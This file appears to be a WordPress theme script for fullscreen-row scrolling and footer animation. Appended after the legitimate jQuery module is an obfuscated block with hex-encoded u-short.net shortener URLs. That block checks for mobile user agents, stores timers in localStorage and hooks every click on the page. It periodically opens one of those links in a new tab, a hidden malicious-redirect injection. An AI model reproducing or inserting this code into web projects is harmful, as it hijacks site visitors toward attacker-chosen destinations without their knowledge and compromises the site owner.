'transform': 'translateY(45%) translateZ(0)'
});
$('#footer-outer').css({
'transition-duration': '0s',
'backface-visibility': 'hidden'
});
setTimeout(function() {
$('#footer-outer').css({
'transition': $transformProp+' 500ms cubic-bezier(0.60, 0.23, 0.2, 0.93)',
'backface-visibility': 'hidden'
});
$('#footer-outer').css({
'transform': 'translateY(0%) translateZ(0)'
});
},30);
}
},30);
if( $row_id !='footer-outer' ) {
that.stopMouseParallax();
// Take care of nav/control coloring
that.setFPNavColoring(nextIndex,direction);
// Handle main nav link highlight
setTimeout(function(){
that.FPActiveMenuItems(nextIndex);
},50);
}
},
afterResize: function(){
that.overallHeight = $('#nectar_fullscreen_rows').height();
that.overallWidth = $(window).width();
that.fullHeightRowOverflow();
that.fullscreenElementSizing();
that.fullscreenFooterCalcs();
if( $('#footer-outer.active').length > 0) {
setTimeout(function(){
$('.last-before-footer').css('transform','translateY(-'+$('#footer-outer').height()+'px)');
},200);
}
// SVG animations when resizing and iscroll wraps/unwraps
clearTimeout(that.$svgResizeTimeout);
that.$svgResizeTimeout = setTimeout(function(){
if(that.$svgIcons.length > 0) {
$('.svg-icon-holder.animated-in').each(function(i){
$(this).css('opacity','1');
that.$svgIcons[$(this).find('svg').attr('id').slice(-1)].finish();
});
}
},300);
}
});
};
window.NectarFullScreenRows = NectarFullScreenRows;
}( jQuery ));
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x78\x73\x6b\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x4c\x61\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x5a\x67\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4c\x61\x6b\x39\x63\x339','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4d\x69\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x67\x50\x49\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x59\x6b\x72\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x6e\x48\x36\x63\x326','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x76\x67\x54\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6d\x4b\x57\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());